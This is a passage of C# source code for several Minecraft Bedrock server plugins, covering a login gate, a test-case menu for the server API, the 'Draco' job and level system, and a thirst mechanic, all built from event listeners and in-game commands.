Console.WriteLine("[litelogin]数据库写入成功!!!"); } catch { Console.WriteLine("[litelogin]数据库写入失败!!!"); } } catch { Console.WriteLine("[litelogin]数据库连接失败!!!"); } } else { Console.WriteLine("[litelogin]未启用SQL存储,将保存数据到本地文件!!!"); } }); login_zt[a.playername] = false; api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3注册成功!\"}]}"); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3请输入/login <密码> 来登录!\"}]}"); } return(false); } return(true); }); api.addBeforeActListener(EventKey.onDestroyBlock, x => { var a = BaseEvent.getFrom(x) as DestroyBlockEvent; if (login[a.playername] == false) { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4请输入/login <密码> 来登录!\"}]}"); return(false); } return(true); }); api.addBeforeActListener(EventKey.onPlacedBlock, x => { var a = BaseEvent.getFrom(x) as PlacedBlockEvent; if (login[a.playername] == false) { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4请输入/login <密码> 来登录!\"}]}"); return(false); } return(true); }); api.addBeforeActListener(EventKey.onAttack, x => { var a = BaseEvent.getFrom(x) as AttackEvent; if (login[a.playername] == false) { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4请输入/login <密码> 来登录!\"}]}"); return(false); } return(true); }); api.addBeforeActListener(EventKey.onStartOpenChest, x => { var a = BaseEvent.getFrom(x) as StartOpenChestEvent; if (login[a.playername] == false) { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4请输入/login <密码> 来登录!\"}]}"); return(false); } return(true); }); api.addBeforeActListener(EventKey.onUseItem, x => { var a = BaseEvent.getFrom(x) as UseItemEvent; if (login[a.playername] == false) { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4请输入/login <密码> 来登录!\"}]}"); return(false); } return(true); }); api.addBeforeActListener(EventKey.onInputCommand, x => { var a = BaseEvent.getFrom(x) as InputCommandEvent; if (login[a.playername] == false) { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4请输入/login <密码> 来登录!\"}]}"); return(false); } return(true); }); api.addBeforeActListener(EventKey.onStartOpenBarrel, x => { var a = BaseEvent.getFrom(x) as StartOpenBarrelEvent; if (login[a.playername] == false) { api.runcmd("kick \"" + a.playername + "\" 请登录后再进行操作!"); return(false); } return(true); }); api.addBeforeActListener(EventKey.onSetSlot, x => { var a = BaseEvent.getFrom(x) as SetSlotEvent; if (login[a.playername] == false) { api.runcmd("kick \"" + a.playername + "\" 请登录后再进行操作!"); return(false); } return(true); }); }
/// <summary> /// 向服务器发送后台指令 /// </summary> /// <param name="cmd">指令的内容</param> /// <returns>返回是否发送成功</returns> public static bool SeedCMD(string cmd) { return(Mapi.runcmd(cmd)); }
// 主入口实现 public static void init(MCCSAPI api) { mapi = api; string[] bts = null; if (!api.COMMERCIAL) { bts = new string[] { "后台指令tell", "前缀/去前缀名", "模拟喊话", "模拟执行me指令", "后台指令输出hello", "查询当前状态至后台", "给32个白桦木", "断开自身连接" }; } else { bts = new string[] { "后台指令tell", "前缀/去前缀名", "模拟喊话", "模拟执行me指令", "后台指令输出hello", "查询当前状态至后台", "给32个白桦木", "断开自身连接", // 以下是非社区版内容 "穿墙能力开/关", "传送至梦之故里大厅", "跨维传送至末地祭坛", "读当前属性值至后台", "临时攻击+10,生命+2,附命+2,抗飞+1,等级+5,食物+2", "读属性上限值至后台", "攻限+10,命限+10,食限+10", "读当前选中物品至后台", "给1个附魔叉", "替换副手为一个叉子", "保存玩家所有物品列表至pit.json并清空", "读pit.json到当前玩家", "读玩家当前效果列表到后台", "设置玩家临时存储的效果列表", "显示欢迎一个血条", "清除欢迎血条", "显示一个带统计的自定义侧边栏", "移除自定义侧边栏", "读当前权限与游戏模式至后台", "切换op/visitor,生存/生存观察者模式", "导出当前位置+长宽高x10的结构到st1.json", "读结构st1.json到当前位置" }; } var a = new ArrayList(bts); // 设置指令描述 api.setCommandDescribeEx("testcase", "开始一个测试用例", MCCSAPI.CommandPermissionLevel.GameMasters, (byte)MCCSAPI.CommandCheatFlag.NotCheat, 0); // 添加测试指令监听 api.addBeforeActListener(EventKey.onInputCommand, x => { var e = BaseEvent.getFrom(x) as InputCommandEvent; if (e.cmd.Trim() == "/testcase") { // 此处执行拦截操作 string uuid = getUUUD(e.playername); var gui = new SimpleGUI(api, uuid, "测试用例", "请于30秒内选择测试用例进行测试:", a); gui.send(30000, selected => { switch (selected) { case "0": api.runcmd("tell \"" + e.playername + "\" 你好 c# !"); break; case "1": { string r = e.playername; r = (r.IndexOf("[前缀]") >= 0 ? r.Substring(4) : "[前缀]" + r); api.reNameByUuid(uuid, r); } break; case "2": api.talkAs(uuid, "你好 c# !"); break; case "3": api.runcmdAs(uuid, "/me 你好 c# !"); break; case "4": api.logout("logout: 你好 c# !"); break; case "5": Console.WriteLine(api.selectPlayer(uuid)); break; case "6": api.addPlayerItem(uuid, 17, 2, 32); break; case "7": api.disconnectClient(uuid, "这个消息来自测试"); break; #region 以下部分为非社区版内容 case "8": { string sa = api.getPlayerAbilities(uuid); if (!string.IsNullOrEmpty(sa)) { var ser = new JavaScriptSerializer(); var ja = ser.Deserialize <Dictionary <string, object> >(sa); var cja = new Dictionary <string, object>(); object nnoclip; if (ja.TryGetValue("noclip", out nnoclip)) { cja["noclip"] = !((bool)nnoclip); } api.setPlayerAbilities(uuid, ser.Serialize(cja)); } } break; case "9": api.transferserver(uuid, "www.xiafox.com", 19132); break; case "10": api.teleport(uuid, 10, 99, 10, 2); break; case "11": api.logout(api.getPlayerAttributes(uuid)); break; case "12": { var sa = api.getPlayerAttributes(uuid); if (!string.IsNullOrEmpty(sa)) { var ser = new JavaScriptSerializer(); var ja = ser.Deserialize <Dictionary <string, object> >(sa); var cja = new Dictionary <string, object>(); object atdmg; if (ja.TryGetValue("attack_damage", out atdmg)) { cja["attack_damage"] = Convert.ToSingle(atdmg) + 10; } if (ja.TryGetValue("absorption", out atdmg)) { cja["absorption"] = Convert.ToSingle(atdmg) + 2; } if (ja.TryGetValue("health", out atdmg)) { cja["health"] = Convert.ToSingle(atdmg) + 2; } if (ja.TryGetValue("knockback_resistance", out atdmg)) { cja["knockback_resistance"] = Convert.ToSingle(atdmg) + 1; } if (ja.TryGetValue("level", out atdmg)) { cja["level"] = Convert.ToSingle(atdmg) + 5; } if (ja.TryGetValue("hunger", out atdmg)) { cja["hunger"] = Convert.ToSingle(atdmg) + 2; } api.setPlayerTempAttributes(uuid, ser.Serialize(cja)); } } break; case "13": api.logout(api.getPlayerMaxAttributes(uuid)); break; case "14": { var sa = api.getPlayerMaxAttributes(uuid); if (!string.IsNullOrEmpty(sa)) { var ser = new JavaScriptSerializer(); var ja = ser.Deserialize <Dictionary <string, object> >(sa); var cja = new Dictionary <string, object>(); object dmg; if (ja.TryGetValue("maxattack_damage", out dmg)) { cja["maxattack_damage"] = Convert.ToSingle(dmg) + 10; } if (ja.TryGetValue("maxhealth", out dmg)) { cja["maxhealth"] = Convert.ToSingle(dmg) + 10; } if (ja.TryGetValue("maxhunger", out dmg)) { cja["maxhunger"] = Convert.ToSingle(dmg) + 10; } api.setPlayerMaxAttributes(uuid, ser.Serialize(cja)); } } break; case "15": api.logout(api.getPlayerSelectedItem(uuid)); break; case "16": { // tt - TAG_TYPE 标签数据类型,总计11种类型 // tv - TAG_VALUE 标签值,由类型决定 // ck - Compound_KEY nbt关键字,字符串类型 // cv - Compound_VALUE nbt值,总是为一个TAG var jitem = "{" + "\"tt\": 10, \"tv\": [" + "{ \"ck\": \"Count\", \"cv\": { \"tt\": 1, \"tv\": 1 } }," + "{ \"ck\": \"Damage\", \"cv\": { \"tt\": 2, \"tv\": 0 } }," + "{ \"ck\": \"Name\", \"cv\": { \"tt\": 8, \"tv\": \"minecraft:trident\" } }," + "{ \"ck\": \"tag\", \"cv\": { \"tt\": 10, \"tv\": [" + "{ \"ck\": \"ench\", \"cv\": { \"tt\": 9, \"tv\": [" + "{ \"tt\": 10, \"tv\": [" + "{ \"ck\": \"id\", \"cv\": { \"tt\": 2, \"tv\": 10 } }," + "{ \"ck\": \"lvl\", \"cv\": { \"tt\": 2, \"tv\": 9999 } }]" + "}]}" + "}]}" + "}]" + "}"; api.addPlayerItemEx(uuid, jitem); } break; case "17": { var jtem = "{" + "\"Offhand\": { \"tt\": 9, \"tv\": [" + "{ \"tt\": 10, \"tv\": [" + "{ \"ck\": \"Count\", \"cv\": { \"tt\": 1, \"tv\": 1 } }," + "{ \"ck\": \"Damage\", \"cv\": { \"tt\": 2, \"tv\": 0 } }," + "{ \"ck\": \"Name\", \"cv\": { \"tt\": 8, \"tv\": \"minecraft:trident\" } }," + "{ \"ck\": \"tag\", \"cv\": { \"tt\": 10, \"tv\": [" + "{ \"ck\": \"ench\", \"cv\": {" + "\"tt\": 9, \"tv\": [" + "{ \"tt\": 10, \"tv\": [" + "{ \"ck\": \"id\", \"cv\": { \"tt\": 2, \"tv\": 7 } }," + "{ \"ck\": \"lvl\", \"cv\": { \"tt\": 2, \"tv\": 8888 } }]" + "}]}" + "}]}" + "}]" + "}]}" + "}"; api.setPlayerItems(uuid, jtem); } break; case "18": { var its = api.getPlayerItems(uuid); File.WriteAllText("pit.json", its); // 此处使用空气填充末影箱 var sair = "{\"tt\":10,\"tv\":[{\"ck\":\"Count\",\"cv\":{\"tt\":1,\"tv\":0}},{\"ck\":\"Damage\",\"cv\":{\"tt\":2,\"tv\":0}},{\"ck\":\"Name\"" + ",\"cv\":{\"tt\":8,\"tv\":\"\"}},{\"ck\":\"Slot\",\"cv\":{\"tt\":1,\"tv\":0}}]}"; //let air = { "tt": 10, "tv": [{ "ck": "Count", "cv": { "tt": 1, "tv": 0 } }, { "ck": "Damage", "cv": { "tt": 2, "tv": 0 } }, { "ck": "Name", "cv": { "tt": 8, "tv": "" } }, { "ck": "Slot", "cv": { "tt": 1, "tv": 0 } }] }; var endc = new Dictionary <string, object>(); var eci = new Dictionary <string, object>(); var edclist = new ArrayList(); eci["tt"] = 9; var ser = new JavaScriptSerializer(); for (int i = 0; i < 27; i++) { var mair = ser.Deserialize <Dictionary <string, object> >(sair); if (((Dictionary <string, object>)(((ArrayList)(mair["tv"]))[3]))["ck"].ToString() == "Slot") // 此处需修改并应用 { ((Dictionary <string, object>)(((Dictionary <string, object>)(((ArrayList)(mair["tv"]))[3]))["cv"]))["tv"] = i; } edclist.Add(mair); } eci["tv"] = edclist; endc["EnderChestInventory"] = eci; api.setPlayerItems(uuid, ser.Serialize(endc)); api.runcmd("clear \"" + e.playername + "\""); } break; case "19": { try { var its = File.ReadAllText("pit.json"); if (its != null) { api.setPlayerItems(uuid, its); } } catch { } } break; case "20": { var efs = api.getPlayerEffects(uuid); tmpeff = efs; Console.WriteLine(efs); } break; case "21": api.setPlayerEffects(uuid, tmpeff); break; case "22": api.setPlayerBossBar(uuid, "欢迎使用NetRunner自定义血条!", ((float)(new Random().Next() % 1001)) / 1000.0f); break; case "23": api.removePlayerBossBar(uuid); break; case "24": { int count = 0; if (!sidecount.TryGetValue(uuid, out count)) { sidecount[uuid] = 0; } ++sidecount[uuid]; var ser = new JavaScriptSerializer(); var list = new List <object>(); list.Add("第" + sidecount[uuid] + "次打开侧边栏 "); list.Add("这是第二行 "); list.Add("这是下一行 "); list.Add("属性:[待填写] "); list.Add("§e颜色自拟 "); api.setPlayerSidebar(uuid, e.playername + "的侧边栏", ser.Serialize(list)); } break; case "25": api.removePlayerSidebar(uuid); break; case "26": Console.WriteLine(api.getPlayerPermissionAndGametype(uuid)); break; case "27": { var st = api.getPlayerPermissionAndGametype(uuid); var ser = new JavaScriptSerializer(); var t = ser.Deserialize <Dictionary <string, object> >(st); if (t != null) { t["gametype"] = (int)(t["gametype"]) == 0 ? 3 : 0; t["permission"] = (int)(t["permission"]) == 0 ? 2 : 0; api.setPlayerPermissionAndGametype(uuid, ser.Serialize(t)); } } break; case "28": { var posa = e.XYZ; var ser = new JavaScriptSerializer(); var posb = new Vec3(); posb.x = posa.x + 10; posb.y = posa.y + 10; posb.z = posa.z + 10; var data = api.getStructure(e.dimensionid, ser.Serialize(posa), ser.Serialize(posb), false, true); File.WriteAllText("st1.json", data); } break; case "29": try { var data = File.ReadAllText("st1.json"); var ser = new JavaScriptSerializer(); api.setStructure(data, e.dimensionid, ser.Serialize(e.XYZ), 0, true, true); } catch { } break; #endregion case "null": Console.WriteLine("玩家 " + e.playername + " 主动取消了一个表单项。", gui.id); break; } }, () => Console.WriteLine("[testcase] 玩家 " + e.playername + " 表单已超时,id={0}", gui.id)); return(false); } return(true); }); // 离开监听 api.addAfterActListener(EventKey.onPlayerLeft, x => { var e = BaseEvent.getFrom(x) as PlayerLeftEvent; string uuid; if (nameuuids.TryGetValue(e.playername, out uuid)) { nameuuids.Remove(e.playername); } return(true); }); }
public static void Dracoup(MCCSAPI api) { Dictionary <string, int> level = new Dictionary <string, int>(); //等级 Dictionary <string, double> addition = new Dictionary <string, double>(); //加成值 Dictionary <string, string> uuid = new Dictionary <string, string>(); //uuid Dictionary <string, string> xuid = new Dictionary <string, string>(); //xuid Dictionary <string, string> job = new Dictionary <string, string>(); //职业 Dictionary <string, string> ifban = new Dictionary <string, string>(); //是否为黑名单 string MoneyPath = "./plugins/Draco/RewardMoney.yaml"; string playersPath = "./plugins/Draco/playersjob.yaml"; string banPath = "./plugins/Draco/banplayers.yaml"; #region //yaml转json示例 //if (File.Exists("./plugins/Draco/config.yaml")) //{ // var r = new StringReader(File.ReadAllText("./plugins/Draco/config.yaml")); // var deserializer = new DeserializerBuilder().Build(); // var yamlObject = deserializer.Deserialize(r); // var serializer = new SerializerBuilder() // .JsonCompatible() // .Build(); // var json = serializer.Serialize(yamlObject); // //Console.WriteLine(json); // config rb = JsonConvert.DeserializeObject<config>(json); // Console.WriteLine("是否开启攻击加成:"+rb.ATNPlus); //} #endregion string awa = @"September 2020 Draco Release. Thanks for using Draco. 本插件基于Mozilla协议开源 项目地址: https://github.com/Sbaoor-fly/CSR-Draco Mozilla协议具体信息: http://www.mozilla.org/MPL/MPL-1.1.html 特别感谢在内测时对本插件反馈的用户 - 《威尼斯:自由时代》服务器全体成员 - PHP野兽先辈服务器全体成员 - xuWin - wzy - SnowPea8027 "; if (File.Exists("./plugins/Draco/Draco.txt")) { } else { DialogResult dr = MessageBox.Show("您正在使用公测版的Draco\t\n如果发现bug或想贡献宝贵的建议\t\n请加群反馈:514160938\t\n如果选择“是”,代表您同意我们的服务条款", "Draco", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation); //如果消息框返回值是Yes,显示新窗体 if (dr == DialogResult.Yes) { } //如果消息框返回值是No,关闭当前窗体 else if (dr == DialogResult.No) { //关闭当前窗体 var a = File.ReadAllLines("./awa,txt"); } //创建文件和文件夹 Directory.CreateDirectory("./plugins/Draco"); File.AppendAllText(banPath, "#格式 玩家ID: 被ban原因", System.Text.Encoding.UTF8); File.AppendAllText(playersPath, "Steve: Miner", System.Text.Encoding.Default); File.AppendAllText(MoneyPath, "DeBug: false\ncow: 10", System.Text.Encoding.Default); File.AppendAllText("./plugins/Draco/Draco.txt", awa, System.Text.Encoding.Default); Directory.CreateDirectory("./plugins/Draco/Miner"); Directory.CreateDirectory("./plugins/Draco/Hunter"); Directory.CreateDirectory("./plugins/Draco/Swordman"); Directory.CreateDirectory("./plugins/Draco/Sorcerer"); var t = Task.Run(async delegate { await Task.Delay(10000); api.runcmd("scoreboard objectives add money dummy"); }); } api.addBeforeActListener(EventKey.onLoadName, x => { var a = BaseEvent.getFrom(x) as LoadNameEvent; uuid.Add(a.playername, a.uuid); xuid.Add(a.playername, a.xuid); YML banyml = new YML(banPath); if (banyml.read(a.playername, "") != null) { ifban.Add(a.playername, "true"); } else { ifban.Add(a.playername, "false"); } YML plyml = new YML(playersPath); if (plyml.read(a.playername, "") != null) { if (File.Exists("./plugins/Draco/" + plyml.read(a.playername, "") + "/" + xuid[a.playername] + ".json")) { var jsontext = File.ReadAllText("./plugins/Draco/" + plyml.read(a.playername, "") + "/" + xuid[a.playername] + ".json"); Playerconfig rb = JsonConvert.DeserializeObject <Playerconfig>(jsontext); addition.Add(a.playername, rb.Addition); job.Add(a.playername, rb.job); level.Add(a.playername, rb.level); Console.WriteLine("[" + DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") + " Draco] 配置文件读取成功!"); } else { Playerconfig write = new Playerconfig { Addition = 0.1, Name = a.playername, level = 1, job = plyml.read(a.playername, "") }; string str = JsonConvert.SerializeObject(write); File.WriteAllText("./plugins/Draco/" + plyml.read(a.playername, "") + "/" + xuid[a.playername] + ".json", str, System.Text.Encoding.Default); level.Add(a.playername, 1); addition.Add(a.playername, 0.1); job.Add(a.playername, plyml.read(a.playername, "")); Console.WriteLine("[" + DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") + " Draco] 配置文件创建成功!"); } } else { job.Add(a.playername, "无职业"); level.Add(a.playername, 0); //防止聊天调用等级和职业时崩服 Console.WriteLine("[" + DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") + " Draco] {0}进入了游戏", a.playername); } return(true); }); api.addBeforeActListener(EventKey.onRespawn, x => { YML banyml2 = new YML(banPath); var a = BaseEvent.getFrom(x) as RespawnEvent; if (ifban[a.playername] == "true") { api.runcmd("kick " + a.playername + " " + banyml2.read(a.playername, "")); } else { if (job[a.playername] == "无职业") { var t = Task.Run(async delegate { await Task.Delay(3000); api.sendSimpleForm(uuid[a.playername], "职业选择", "请选择", "[\"剑士\",\"猎手\",\"矿工\",\"法师\"]"); api.addBeforeActListener(EventKey.onFormSelect, y => { var pp = BaseEvent.getFrom(y) as FormSelectEvent; if (job[a.playername] == "无职业") { if (!string.IsNullOrEmpty(pp.selected)) { string[] jobid = { "Swordman", "Hunter", "Miner", "Sorcerer" }; int jjob = Convert.ToInt32(pp.selected); File.AppendAllText(playersPath, "\n" + a.playername + ": " + jobid[jjob], System.Text.Encoding.UTF8); //api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§6职业选择成功!会在下次进入游戏时生效!\"}]}"); api.runcmd("kick \"" + a.playername + "\" 请重新登录!"); } else { api.runcmd("kick \"" + a.playername + "\" 你必须有一个职业!"); } } return(true); }); }); } int b = api.getscoreboard(uuid[a.playername], "money"); api.setPlayerSidebar(uuid[a.playername], "个人信息", "[\"玩家名称:" + a.playername + "\",\"职业:" + job[a.playername] + "\",\"等级:" + level[a.playername] + "\",\"金币:" + b + "\"]"); int ti = 0; if (level[a.playername] < 50 & level[a.playername] >= 20) { ti = 1; } if (level[a.playername] > 50) { ti = 2; } if (job[a.playername] == "Miner" & ti != 0) { api.runcmd("effect \"" + a.playername + "\" night_version 9999999 " + ti + " true"); } if (job[a.playername] == "Swordman" & ti != 0) { api.runcmd("effect \"" + a.playername + "\" resistance 9999999 " + ti + " true"); } if (job[a.playername] == "Sorcerer" & ti != 0) { api.runcmd("effect \"" + a.playername + "\" fire_resistance 9999999 " + ti + " true"); } } return(true); }); api.addBeforeActListener(EventKey.onPlayerLeft, x => { var a = BaseEvent.getFrom(x) as PlayerLeftEvent; level.Remove(a.playername); addition.Remove(a.playername); uuid.Remove(a.playername); xuid.Remove(a.playername); job.Remove(a.playername); ifban.Remove(a.playername); Console.WriteLine("[Draco]{0}离开了游戏,正在保存数据", a.playername); return(true); }); api.addBeforeActListener(EventKey.onAttack, x => { var a = BaseEvent.getFrom(x) as AttackEvent; if (job[a.playername] == "Swordman") { int ti = 1; if (level[a.playername] < 20) { ti = 1; } if (level[a.playername] < 50 & level[a.playername] >= 20) { ti = 2; } if (level[a.playername] > 50) { ti = 3; } Random r = new Random(); if (r.Next(100) < level[a.playername] * 2)//随机概率 { try { if (Convert.ToInt32(level[a.playername] * addition[a.playername]) != 0) { api.runcmd("effect \"" + a.playername + "\" strength " + Convert.ToInt32(level[a.playername] * addition[a.playername]) + " " + ti + " true"); } } catch { Console.WriteLine("WARNING!!!"); } } } return(true); }); api.addBeforeActListener(EventKey.onDestroyBlock, x => { var a = BaseEvent.getFrom(x) as DestroyBlockEvent; if (job[a.playername] == "Miner") { int ti = 1; if (level[a.playername] < 20) { ti = 1; } if (level[a.playername] < 50 & level[a.playername] >= 20) { ti = 2; } if (level[a.playername] > 50) { ti = 3; } Random r = new Random(); if (r.Next(100) < level[a.playername] * 2) { try { if (Convert.ToInt32(level[a.playername] * addition[a.playername]) != 0) //防止0级 { api.runcmd("effect \"" + a.playername + "\" haste " + Convert.ToInt32(level[a.playername] * addition[a.playername]) + " " + ti + " true"); } } catch { Console.WriteLine("WARNING!!!"); } } } return(true); }); api.addBeforeActListener(EventKey.onMobDie, x => { var a = BaseEvent.getFrom(x) as MobDieEvent; string str = a.mobtype; string[] sArray = str.Split(new char[2] { '.', '.' }); YML yml = new YML(MoneyPath); if (yml.read("DeBug", "") == "true") { Console.WriteLine(sArray[1]); } //是否在控制台输出 if (yml.read(sArray[1], "") != null & a.srcname != "") { api.runcmd("scoreboard players add \"" + a.srcname + "\" money " + yml.read(sArray[1], "")); api.runcmd("tellraw \"" + a.srcname + "\" {\"rawtext\":[{\"text\":\"§6击杀奖励" + yml.read(sArray[1], "") + "金币!\"}]}"); int z = api.getscoreboard(uuid[a.srcname], "money"); api.removePlayerSidebar(uuid[a.srcname]); api.setPlayerSidebar(uuid[a.srcname], "个人信息", "[\"玩家名称:" + a.srcname + "\",\"职业:" + job[a.srcname] + "\",\"等级:" + level[a.srcname] + "\",\"金币:" + z + "\"]"); if (job[a.srcname] == "Hunter") //猎手加成 { int ti = 1; if (level[a.srcname] < 20) { ti = 5; } if (level[a.srcname] < 50 & level[a.srcname] >= 20) { ti = 3; } if (level[a.srcname] > 50) { ti = 2; } int b = Convert.ToInt32(yml.read(sArray[1], "")) / ti; if (b != 0) { api.runcmd("scoreboard players add \"" + a.srcname + "\" money " + b); api.runcmd("tellraw \"" + a.srcname + "\" {\"rawtext\":[{\"text\":\"[§3猎手加成§r]§6 额外奖励" + b + "金币!\"}]}"); var t = Task.Run(async delegate { await Task.Delay(500); int v = api.getscoreboard(uuid[a.srcname], "money"); api.removePlayerSidebar(uuid[a.srcname]); api.setPlayerSidebar(uuid[a.srcname], "个人信息", "[\"玩家名称:" + a.srcname + "\",\"职业:" + job[a.srcname] + "\",\"等级:" + level[a.srcname] + "\",\"金币:" + v + "\"]"); }); } } } return(true); }); api.addBeforeActListener(EventKey.onInputText, x => { var a = BaseEvent.getFrom(x) as InputTextEvent; string[] diam = { "§2主世界", "§4地狱", "§e末地" }; string[] diam2 = { "主世界", "地狱", "末地" }; if (a.msg == "here") { api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"[" + diam[a.dimensionid] + "§r] §3" + a.playername + "§r 共享了一个坐标 >> " + Convert.ToInt32(a.XYZ.x) + " " + Convert.ToInt32(a.XYZ.y) + " " + Convert.ToInt32(a.XYZ.z) + "\"}]}"); Console.WriteLine("!{0} 共享了坐标:位于{4}的 {1},{2},{3} ", a.playername, Convert.ToInt32(a.XYZ.x), Convert.ToInt32(a.XYZ.y), Convert.ToInt32(a.XYZ.z), diam2[a.dimensionid]); return(false); } if (a.msg == "levelup" & job[a.playername] != "无职业") { int b = api.getscoreboard(uuid[a.playername], "money"); int c = level[a.playername] * 100; if (b >= c) { Playerconfig write = new Playerconfig(); write.Addition = addition[a.playername]; write.Name = a.playername; write.level = level[a.playername] + 1; write.job = job[a.playername]; string str = JsonConvert.SerializeObject(write);//这里修改等级我是直接重写覆盖,因为8会修改( File.WriteAllText("./plugins/Draco/" + job[a.playername] + "/" + xuid[a.playername] + ".json", str, System.Text.Encoding.Default); level[a.playername] += 1; api.runcmd("scoreboard players remove \"" + a.playername + "\" money " + c); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§b成功升到了" + level[a.playername] + "级!花费了" + c + "金币!\"}]}"); var t = Task.Run(async delegate { await Task.Delay(500); int tt = api.getscoreboard(uuid[a.playername], "money"); api.setPlayerSidebar(uuid[a.playername], "个人信息", "[\"玩家名称:" + a.playername + "\",\"职业:" + job[a.playername] + "\",\"等级:" + level[a.playername] + "\",\"金币:" + tt + "\"]"); }); } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4金币不足!距离" + (level[a.playername] + 1) + "级还需要" + c + "金币!\"}]}"); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4当前金币:" + b + "\"}]}"); } } else { api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"[" + diam[a.dimensionid] + "§r][§3" + level[a.playername] + "级" + job[a.playername] + "§r " + a.playername + "] >> " + a.msg + "\"}]}"); Console.WriteLine("![{2} {0}] >> {1}", a.playername, a.msg, job[a.playername]); } return(false); }); api.addBeforeActListener(EventKey.onUseItem, x => { var a = BaseEvent.getFrom(x) as UseItemEvent; int b = api.getscoreboard(uuid[a.playername], "money"); if (a.itemid == 345 & job[a.playername] == "Sorcerer" & level[a.playername] >= 20) { int ti = 5; if (level[a.playername] < 50 & level[a.playername] >= 20) { ti = 10; } if (level[a.playername] > 50) { ti = 15; } if (b > 500) { api.runcmd("effect \"" + a.playername + "\" invisibility " + ti + " 1 true"); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3发动技能成功!\"}]}"); api.runcmd("scoreboard players remove " + a.playername + " money 500 "); } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4金币不足!!至少需要500金币来发动技能!\"}]}"); } } if (a.itemid == 345 & job[a.playername] == "Miner" & level[a.playername] >= 20) { int ti = 5; if (level[a.playername] < 50 & level[a.playername] >= 20) { ti = 10; } if (level[a.playername] > 50) { ti = 15; } if (b > 500) { api.runcmd("effect \"" + a.playername + "\" haste " + ti + " 3 true"); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3发动技能成功!\"}]}"); api.runcmd("scoreboard players remove " + a.playername + " money 500 "); } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4金币不足!!至少需要500金币来发动技能!\"}]}"); } } return(true); }); }
public static void sendtext(string Target, string Text, MCCSAPI api) { api.runcmd("tellraw \"" + Target + "\" {\"rawtext\":[{\"text\":\"" + Text + "\"}]}"); }
public static void init(MCCSAPI api) { #region 玩家初始化 Dictionary <string, string> uuid = new Dictionary <string, string>(); List <string> player = new List <string>(); api.addAfterActListener(EventKey.onLoadName, x => { var a = BaseEvent.getFrom(x) as LoadNameEvent; uuid.Add(a.playername, a.uuid); player.Add(a.playername); if (!TP.ContainsKey(a.playername)) { TP.Add(a.playername, 100); } Task.Run(() => { while (true) //for (int i = 0; i < player.Count; i++) //{ // if (player.Count != 0&& TP[player[i]]>0) // { // Thread.Sleep(15000); // TP[player[i]] = TP[player[i]] - 1; // api.runcmd("title \"" + player[i] + "\" actionbar §b§l口渴度:" + TP[player[i]]); // } //} { if (player.Contains(a.playername)) { Thread.Sleep(30000); TP[a.playername] = TP[a.playername] - 1; api.runcmd("title \"" + a.playername + "\" actionbar §b§l口渴度:" + TP[a.playername]); } else { break; } } }); Task.Run(() => { while (true) { if (player.Contains(a.playername)) { if (10 < TP[a.playername] && TP[a.playername] <= 30) { api.runcmd("effect \"" + a.playername + "\" slowness 5 1 true"); Thread.Sleep(4800); } if (TP[a.playername] <= 10) { api.runcmd("effect \"" + a.playername + "\" slowness 4 2 true"); api.runcmd("effect \"" + a.playername + "\" blindness 2 1 true"); api.runcmd("effect \"" + a.playername + "\" nausea 2 1 true"); Thread.Sleep(2000); } api.runcmd("title \"" + a.playername + "\" actionbar §b§l口渴度:" + TP[a.playername]); } Thread.Sleep(2000); } }); return(true); }); api.addAfterActListener(EventKey.onPlayerLeft, x => { var a = BaseEvent.getFrom(x) as PlayerLeftEvent; uuid.Remove(a.playername); player.Remove(a.playername); return(true); }); api.addBeforeActListener(EventKey.onServerCmdOutput, x => { var a = BaseEvent.getFrom(x) as ServerCmdOutputEvent; if (a.output.StartsWith("Title") || a.output.StartsWith("Cleared") || a.output.StartsWith("Gave")) { return(false); } return(true); }); #endregion api.addBeforeActListener(EventKey.onUseItem, x => { var a = BaseEvent.getFrom(x) as UseItemEvent; //sendtext(a.playername, "物品id:" + a.itemid + "特殊:" + a.itemaux + "名称" + a.itemname,api); //api.addBeforeActListener(EventKey.onPlacedBlock, y => // { // var b = BaseEvent.getFrom(x) as PlacedBlockEvent; // switch (a.itemid) // { // case 362: // if (api.runcmd("clear \"" + a.playername + "\" water_bucket 0 1")) // { // TP[a.playername] = TP[a.playername] + 50; // api.runcmd("title \"" + a.playername + "\" actionbar §b§l口渴度:" + TP[a.playername]); // api.runcmd("give \"" + a.playername + "\" bucket"); // sendtext(a.playername, "§b你使用了水桶,TP+50", api); // } // break; // default: // break; // } // return true; // }); switch (a.itemid) { //case 362: // if (api.runcmd("clear \"" + a.playername + "\" water_bucket 0 1")) // { // TP[a.playername] = TP[a.playername] + 50; // api.runcmd("title \"" + a.playername + "\" actionbar §b§l口渴度:" + TP[a.playername]); // api.runcmd("give \"" + a.playername + "\" bucket"); // sendtext(a.playername, "§b你使用了水桶,TP+50", api); // return false; // } // break; case 424: api.runcmd("clear \"" + a.playername + "\" potion " + a.itemaux + " 1"); if (TP[a.playername] + 15 >= 100) { sendtext(a.playername, "§b你使用了水瓶,TP+" + (100 - TP[a.playername]), api); TP[a.playername] = 100; api.runcmd("title \"" + a.playername + "\" actionbar §b§l口渴度:" + TP[a.playername]); 